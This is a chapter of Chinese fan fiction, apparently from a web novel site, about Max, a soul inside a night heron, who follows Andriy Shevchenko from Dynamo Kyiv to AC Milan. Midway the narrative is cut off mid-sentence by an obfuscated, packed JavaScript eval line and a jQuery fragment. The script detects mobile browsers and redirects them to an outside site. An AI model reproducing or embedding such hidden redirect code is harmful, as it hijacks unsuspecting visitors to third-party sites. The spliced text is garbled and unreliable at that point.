Max在看到那件球衣时，魂似乎就飞走了。
一个穿着红黑色剑条衫的舍甫琴科出现在这间房子里。他向父母说着什么，中途还转了一个圈，神情羞涩又骄傲。
“他们在说什么？”
Max躲在花盆后面，悄悄地问自己的“随身精灵”。
“舍甫琴科问父母，他穿这件球衣好不好看。”
“那可太好看了。”
望着那个金色的10号印字，Max目眩神迷，恨不得立刻靠近。
但是他不能。
那是安德烈的礼物，是米兰的礼物，应该由人类的手去触碰。
这件礼物最终被脱了下来，由安德烈的妈妈收好。
这时候，Max才对进入1999赛季有了真切的感受。
因为这是决定性的一个赛季。
无论是米兰的重建、安德烈的欧冠之旅，最终都将汇聚成一件事——基辅的夜莺降临米兰。
那标志着一个新的米兰王朝的开始。
‘那我呢？我又在哪里？’
Max不甘心地想。
“我什么时候才能等到那个机会？你答应过的。”
机械鸟：“快了。也许1年。”
“还要继续等？”Max失望极了，啪叽一声摊成鸟饼。
“准备工作在进行中。”
“为什么要那么久？”
机械鸟的情绪难得有了波动：“为了你的足球梦。”
于是Max选择继续忍耐。
他的日常变成了这样：上午飞去基辅迪纳摩的训练基地，旁观训练。
中午回去吃饭，然后缩进木屋里睡觉。
下午找个安静地方练习意大利语（机械鸟提供语音教材）。
晚上继续吃、然后看电视。有米兰的比赛就看米兰，没有就看基辅迪纳摩。
这一段堪比中学生备战高考，或者美术生集训的日子，让Max无暇思考人生，那些由于过于空闲而得以产生的负面情绪，在时光中被碾碎了。
时间就这样流到了11月。
这是Max来到基辅的第二年。
由于清楚地记得1999年的意甲冠军归属，所以他没有去年那么紧张了，他开始看安德烈的欧冠比赛。
1998.11.25 基辅迪纳摩vs帕纳辛纳科斯
不得不说，基辅的冬天很冷，零下十几度也要参赛的球员们动作僵硬，而奇异的是，作为客队的对手，竟然没有被严寒所影响。
上半场，主队一球落后。
Max并不知道更衣室里发生了什么，但肉眼可见的是，下半场的基辅迪纳摩球员们脱下了紧身裤，他们的膝盖像螺丝轴承一样，在寒冬里积极转动。
这种置之死地而后生的态度改变了最后的结果。
雷布罗夫和巴西纳斯的进球帮助球队获胜。
Max有些担忧：“我怎么感觉……也许是我其实不懂球，但雷布罗夫看起来更像是这只球队的战神。”
同样的怀疑也发生在看台上的加利亚尼和布拉伊达之间。
布拉伊达肯定地告诉前者，是的，安德烈很强。
——这就是那场比赛的又一个结局了。
于是暂时同为家庭成员的Max知道了一件事：安德烈要去一趟米兰。
“我可以跟着去吗？”Max憧憬地问。
机械鸟：“但你还得回来。直到他真正搬家，成为那座城市的居住者。”
“我不在乎，我只是想去看一看。”
“可是你要怎么去？谁来为你提供食物和居所，为你的安全保驾护航呢？”
“为什么我不能现在就……”
“因为完美需要耐心，我在调试你的载体，为了完成你的足球梦。”
这是梅塔诺亚的承诺，也是第一次让Max理解它到底在干什么。
Max最终没有再提去米兰的事。
但米兰的报纸上，已经将舍甫琴科自以为的“秘密”宣传到了人尽皆知。
更别提在2月，米兰与基辅迪纳摩的友谊赛。
后者赢了。
这是在与皇马的目光比赛之前，最特殊的一场比赛。
后面的时间过得太快了，在Max没某反应过来的时候，米兰重返胜利的轨道，而在此之间，舍甫琴科在对阵皇马的两回合比赛里打进三球，在与拜仁的比赛里他打进两球。
虽然在慕尼黑，基辅迪纳摩0：1输给了拜仁，未能晋级决赛，但是舍甫琴科的名字，更加响亮。
Max不记得二号饲养员这几个月高兴了多少次，尤其是赛季最后一场，米兰以一分之差夺冠，时隔三年让米兰城重染红黑色。
只是他自己，难得心不在焉起来。
他知道，安德烈要走了。
＊
6月30日
“抱歉，我还带了一只鸟。”
舍甫琴科不知道第多少次说这句话。
待在航
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15598458|171949||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
空箱里的夜鹭安静如鸡，它靠着毅力折磨了安德烈整整好几个晚上，才让对方接受了“啊家里的鸟太爱我了”这件事。
在半个月前，安德烈去米兰重新签合同却不愿意带上它，夜鹭在舍甫琴科家显得颓丧、不愿意进食。
直到安德烈在6.26临时返回基辅，夜鹭就一直围着他打转。
“嘿，安德烈，它已经不愿意失去你了。”
妈妈忍不住打趣。
“可是我没有时间照顾他。”
“但它是你当初决定留下的，你是它的主人。”
“好吧，它是个聪明的小家伙，我想办法把它一起带走，它应该不会饿死吧。”
夜鹭兴奋地用油光滑亮的翅膀蹭了蹭安德烈的腿。
不幸又幸运的是，世界上大部分问题，都是钱可以解决的。
而舍甫琴科不缺钱。
所以夜鹭能够堂而皇之住进乔利酒店。
在圣西罗的亮相仪式上，舍甫琴科在万千人注视下跑下楼梯。
夜鹭在那天绕着圣西罗飞了一圈又一圈。
安德烈在离开之前看到了它，惊喜地摸了摸它的头毛。
“要跟我一起走吗？”
夜鹭不会说话。它跟着他飞走。
＊
直到9月。
“机会来了，Max。”机械鸟高兴地通知他。
“是吗？太棒了。当我的灵魂离开，夜鹭还会留在这里吗？”
“它会消失。”
“哦，也许我应该和他道别。毕竟我是1996年认识他的。”
“在新年之前解决，好吗？”
机械鸟给了一个足够长的准备时间。
“当然。”
一件不愉快的事情突然发生——安德烈的父亲病倒了。
在俱乐部的帮助下，安德烈的父母被安排到了米兰城，安德烈也终于搬进了一座新的公寓。
于是夜鹭白天经常在帕维亚的医院和米兰内洛之间来回飞。
那可是一段遥远的距离。毕竟安德烈开车都能迷路，而一只鸟竟然做到了。
安德烈的家人惊喜于它的温情，但是他们不会知道，这其实是愧疚的Max在做最后的道别。
他总要离开的。
为了米兰，为了他自己。
在米兰百年庆典的当天，夜鹭用爪子沾染鱼血艰难地在公寓桌子上留了两行字。
【谢谢，安德烈，再见。 by 你的夜鹭】